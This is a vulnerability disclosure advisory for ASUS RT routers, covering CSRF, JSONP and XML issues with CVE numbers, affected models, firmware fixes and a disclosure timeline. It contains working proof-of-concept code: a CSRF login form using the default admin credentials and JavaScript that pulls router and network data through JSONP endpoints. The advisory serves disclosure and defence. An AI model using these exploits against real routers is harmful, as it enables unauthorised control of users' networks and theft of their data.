[Original post here:
https://wwws.nightwatchcybersecurity.com/2017/05/09/multiple-vulnerabilities-in-asus-routers/]

Summary

Various models of ASUS RT routers have several CSRF vulnerabilities
allowing malicious sites to login and change settings in the router;
multiple JSONP vulnerabilities allowing exfiltration of router data
and an XML endpoint revealing WiFi passwords. Most of these issues
have been fixed by Asus in the March 2017 firmware update under
v3.0.0.4.380.7378. One issue (JSONP information disclosure) remains
unfixed since the vendor doesn't consider it to be a security threat.
CVE-2017-5891 has been assigned to the CSRF issues, and CVE-2017-5892
to cover the non-CSRF issues.

Vulnerability Details

RT routers from ASUS like many other routers come with a built-in web
interface accessible over the local network but normally not
accessible via the Internet. We discovered multiple issues within that
web interface that would can facilitate attacks on the router either
via a malicious site visited by a user on the same network, or a
malicious mobile or desktop application running on the same network.
For the CSRF vulnerabilities, a user would need to visit a malicious
site which can try to login and change settings. For the JSONP
vulnerabilities, a website can load the JSONP endpoints via SCRIPT
tags as long as matching function name is defined on that site. The
XML endpoint requires a mobile or desktop application to exploit.
NOTE: all of these assume that the attacker knows the local IP address
of the router. This could probably be guessed or be determined via
Javascript APIs like WebRTC. For desktop and mobile applications,
determination of the gateway address should be trivial to implement.

Issue #1 - Login Page CSRF

The login page for the router doesn't have any kind of CSRF
protection, thus allowing a malicious website to submit a login
request to the router without the user's knowledge. Obviously, this
only works if the site either knows the username and password of the
router OR the user hasn't changed the default credentials ("admin /
admin"). To exploit, submit the base-64 encoded username and password
as "login_authorization" form post, to the "/login.cgi" URL of the
browser.

Example of a form that can exploit this issue (uses default credentials):

<form action="http://192.168.1.1/login.cgi"
   method="post" target="_blank">
<input name="login_authorization" type="text"
   value="YWRtaW46YWRtaW4=" />
<input type="submit" /></form>

Issue #2 - Save Settings CSRF

The various pages within the interface that can save settings do not
have CSRF protection. That means that a malicious site, once logged in
as described above would be able to change any settings in the router
without the user's knowledge.

NOTE: We have not been to exploit this issue consistently

Issue #3 - JSONP Information Disclosure Without Login

Two JSONP endpoints exist within the router which allow detection of
which ASUS router is running and some information disclosure. No login
is required to the router. The vendor doesn't consider these endpoints
a security threat.

The endpoints are as follows:

/findasus.json

Returns the router model name, SSID name and the local IP address of the router

iAmAlive([{model?Name: "XXX", ssid: "YYY", ipAddr: "ZZZZ"}])

/httpd_check.json

Returns: {"alive": 1, "isdomain": 0}

Exploit code as follows:

function iAmAlive(payload) {
  window.alert("Result returned: " + JSON.stringify(payload));
}
function alert1() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/findasus.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}
function alert2() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/httpd_check.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}

Issue #4 - JSONP Information Disclosure, Login Required

There exist multiple JSONP endpoints within the router interface that
reveal various data from the router including.

Below is a list of endpoints and exploit code:

/status.asp - Network Information

function getstatus() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/status.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function show_wanlink_info() {
    var obj = {};
    obj.status = wanlink_status();
    obj.statusstr = wanlink_statusstr();
    obj.wanlink_type = wanlink_type();
    obj.wanlink_ipaddr = wanlink_ipaddr();
    obj.wanlink_xdns = wanlink_xdns();
    window.alert(JSON.stringify(obj));
}

<br/>
<button onClick="getstatus()">Load Status script</button>
<button onClick="show_wanlink_info()">Show wanlink info</button>
<br/><br/>

/wds_aplist_2g.asp - Surrounding Access points, 2.4 Ghz band

/wds_aplist_5g.asp - Surrounding Access points, 5 Ghz band


function getwds_2g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_2g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function getwds_5g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_5g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwds_2g()">Load 2G info</button>
<button onClick="getwds_5g()">Load 5G info</button>
<button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button>
<br/><br/>

/update_networkmapd.asp - Network map of devices on the network

function getmap() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_networkmapd.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getmap()">Load Network map</button>
<button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show
Map</button>
<br/><br/>

/update_clients.asp - Origin data

function getorigin() {
    originData = [];
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_clients.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getorigin()">Load Origin</button>
<button onClick="window.alert(JSON.stringify(originData))">Show Origin</button>

/get_real_ip.asp - External IP address

function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>

/get_webdavInfo.asp - WebDAV information

function getwebdav() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_webdavInfo.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwebdav()">Load WebDav</button>
<button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button>
<button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button>
<br/><br/>

Issue #5 - XML Endpoint Reveals WiFi Passwords

An XML endpoint exists in the router which reveals the WiFi password
to the router but to fully exploit this issue, it would require a
mobile or desktop application running on the local network since XML
cannot be loaded cross origin in the browser. This endpoint can be
accessed at the following URL and requires login:

[router IP]/WPS_info.xml

Mitigation Steps / Vendor Response

Users should change the default credentials and apply the latest
firmware released by ASUS, version v3.0.0.4.380.7378 or higher. There
is no mitigation available for the issue #3 - JSONP information
disclosure without login.

Affected models include the following ASUS routers:

RT-AC55U
RT-AC56R
RT-AC56S
RT-AC56U
RT-AC66U
RT-AC88U
RT-AC66R
RT-AC66U
RT-AC66W
RT-AC68W
RT-AC68P
RT-AC68R
RT-AC68U
RT-AC87R
RT-AC87U
RT-AC51U
RT-AC53U
RT-AC1900P
RT-AC3100
RT-AC3200
RT-AC5300
RT-N11P
RT-N12 (D1 version only)
RT-N12+
RT-N12E
RT-N18U
RT-N56U
RT-N66R
RT-N66U (B1 version only)
RT-N66W

References

CVE-IDs: CVE-2017-5891 and CVE-2017-5892
CERT/CC Tracking # VR-627

Credits

We would like to thank CERT/CC for helping to coordinate the
disclosure process. This advisory was written by Yakov Shafranovich.

Timeline

2017-01-21: Initial contact with the vendor
2017-01-23: Initial contact with CERT/CC
2017-02-05: Vulnerability details and POC code provided to the vendor,
CVEs requested
2017-02-10: Vulnerability analysis received from the vendor
2017-02-12: Beta firmware provided by the firmware to test fixes
2017-02-12: Vendor fixes confirmed
2017-03-31: Fixed firmware released publicly by the vendor
2017-05-01: Draft advisory shared with the vendor and CERT/CC
2017-05-09: Public disclosure